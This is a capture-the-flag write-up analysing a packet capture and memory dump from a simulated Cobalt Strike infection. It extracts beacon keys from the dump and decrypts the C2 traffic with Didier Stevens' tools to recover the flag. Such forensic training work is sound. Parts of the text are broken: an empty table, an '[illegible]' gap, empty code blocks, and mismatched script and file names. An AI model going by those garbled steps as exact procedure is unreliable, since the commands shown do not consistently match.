

# Challenge Scenerio

A fleet of steam blimps waits the final signal from their commander in order to attack gogglestown kingdom. A recent cyber attack had us thinking if the enemy managed to discover our plans and prepare a counter-attack. Will the fleet get ambused???

## Materials on hand

The challenge contains 2 files:

- PCAP file: `capture.pcapng`
- Minidump crash report file: `freesteam.dmp`

## Initial Analysis

Examining the PCAP file, IPv4 statistics indicate that only two IP addresses — `192.168.1.7` and `192.168.1.9` — are present, with traffic limited to HTTP over TCP.

| Topic / Item                  | Count | Average | Min Val | Max Val | Rate (ms) | Percent | Burst Rate | Burst Start |
|-------------------------------|-------|---------|---------|---------|-----------|---------|------------|-------------|
| IPv4 Statistics/All Addresses | 261   |         |         |         | 0.0007    | 100%    | 0.4900     | 272.581     |
| 192.168.1.9                   | 261   |         |         |         | 0.0007    | 100.00% | 0.4900     | 272.581     |
| 192.168.1.7                   | 261   |         |         |         | 0.0007    | 100.00% | 0.4900     | 272.581     |

By following the HTTP stream, the first notable event observed on the victim machine is the download of an executable named `freesteam.exe`.

| No. | Time      | Source      | Destination | Protocol | Length | Info                                                                                    |

| 237    | 192.168.1.9      | application/octet-stream    | 80 bytes   | match                    |
| 254    | 192.168.1.9      | application/octet-stream    | 62 kB      | submit.php?id=1909272864 |

The binary was then uploaded to VirusTotal, which suggests that it behaves as an “open gate” for a Cobalt Strike attack session, likely functioning as a Beacon payload.

## Conclusion

The analysis indicates that the victim machine downloaded and likely executed a malicious payload, establishing a command-and-control (C2) channel. The next objective is to identify and decode the encoding or encryption mechanism used within the network traffic.

## Deeper Analysis

My initial thought process was to extract the beacon's content to get a better understanding of what was actually going on under the hood. After doing some research, I came across an excellent article by NVISO Labs on [Cobalt Strike: Decrypting Obfuscated Traffic – Part 4](#). Following their guidance, I discovered a powerful Python script called `cs-parse-http-traffic.py`.

These are instructions to transform (deobfuscate) the incoming traffic, so that it can then be decrypted. To understand in detail how this works, we will do the transformation manually with [CyberChef](#). However, do know that tool `cs-parse-http-traffic.py` can do these transformations automatically.

In Didier Stevens' repository, I also found a companion tool that is crucial for this specific challenge: `cs-extract-key.py`.

```
count.py
credentials-listener.lua
cs-analyze-processdump.py
cs-decrypt-metadata.py
cs-extract-key.py
cs-parse-traffic.py
csv-stats.py
```

After retrieving the scripts and installing the required libraries, my first step was to run the built-in `help` command to understand the usage parameters.

For `cs-parse-http-traffic.py`:

```
Usage: cs-parse-traffic.py [options] [[@]file ...]
Analyze Cobalt Strike HTTP/DNS beacon traffic

Options:
  --version          show program's version number and exit
  -h, --help         show this help message and exit
  -m, --man          Print manual
  -o OUTPUT, --output=OUTPUT
                    Output to file (# supported)
  -f FORMAT, --format=FORMAT
                    Format: http/dns/task/callback/callbacksingle (default
                    http)
  -e, --extract      Extract payloads to disk
  -r RAWKEY, --rawkey=RAWKEY
                    CS beacon's raw key
  -k HMACAESKEYS, --hmacaeskeys=HMACAESKEYS
                    HMAC and AES keys in hexadecimal separated by :
  -Y DISPLAYFILTER, --displayfilter=DISPLAYFILTER
                    Tshark display filter (default http/dns)
  -t TRANSFORM, --transform=TRANSFORM
                    Transformation instructions
```

To successfully decrypt the traffic, we need to provide a key in the `HMAC:AES` format. Since I didn't have the key yet, I decided to pass the `unknown` parameter to see how the script handles it:

```
python3 cs-parse-traffic.py -k unknown capture.pcap > output.txt
```

The output gave me a detailed log of the encrypted traffic, providing insights into the payload length, HTTP requests, and packet numbers. This is exactly where `cs-extract-key.py` comes into play.

[illegible]

## Key Extraction

Taking a look at the help menu for `cs-extract-key.py`:

```
Usage: cs-extract-key.py [options] <dumpfile>
Extract cryptographic keys from Cobalt Strike beacon - with Minidump support
```

A massive advantage here is that **the script supports minidump formats!**

```
--version          show program's version number and exit
-h, --help        show this help message and exit
-t TASK, --task=TASK  Encrypted task data (hex) from network capture
-c CALLBACK, --callback=CALLBACK
                    Encrypted callback data (hex) from network capture
-f, --fullsearch   Force full memory search (slower)
-d, --donotfullsearch
```

By using the `-t` flag, we can feed the script a chunk of encrypted data from the traffic we just parsed. You can select data from any packet to act as the input, but for efficiency, I chose the one with the smallest payload length.

```
python3 cs-extract-key.py -t
a4940d6ff0a59421822467d80d1b620bc7ecfa661c452a85c0486b56aa752e908c4aeb3f2f0a6
4d9c02d7025713867ee freesteam.dmp
```

```

## Traffic Decryption

With the newly discovered key, I headed back to `cs-parse-http-traffic.py` and replaced the `unknown` parameter with our valid `HMAC:AES` key:

```
python3 cs-parse-traffic.py -k
bf2d35c0e9b64bc46e6d513c1d0f6ffe:3ae7f995a2392c86e3fa8b6fbc3d953a
capture.pcap
```

```

## Extracting Files

Reviewing the help options for `cs-parse-http-traffic.py` once more, I spotted the `-e` flag, which allows for direct payload extraction from the network traffic. Let's pull those files out:

```
python3 cs-parse-traffic.py -k
bf2d35c0e9b64bc46e6d513c1d0f6ffe:3ae7f995a2392c86e3fa8b6fbc3d953a
capture.pcap -e
```

```

```

Running the `file` command on the output helped me identify the extracted payloads: one PDF, an ASCII text file, and a few DLLs.

```
drwxr-xr-x  7 hoangson staff    224 Mar 23 13:31 venv
[(venv) → Strike Back file payload*
payload-00f542efefccd7a89a55c133180d8581.vir: PDF document, version 1.4, 1 pages
payload-1e4b88220d370c6bc55e213761f7b5ac.vir: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
payload-2211925feba04566b12e81807ff9c0b4.vir: data
payload-851cbc5a118178f5c548e573a719d221.vir: PE32+ executable (DLL) (GUI) x86-64, for MS Windows
payload-b0cfbef2bd9a171b3f48e088b8ae2a99.vir: MS-DOS executable PE32+ executable (DLL) (console) x86-64, for MS
Windows
payload-b25952a4fd6a97bac3ccc8f2c01b906b.vir: ASCII text, with no line terminators
(venv) → Strike Back
```

Naturally, the PDF immediately caught my attention. I renamed the file with a `.pdf` extension, opened it up, and there it was—the flag.
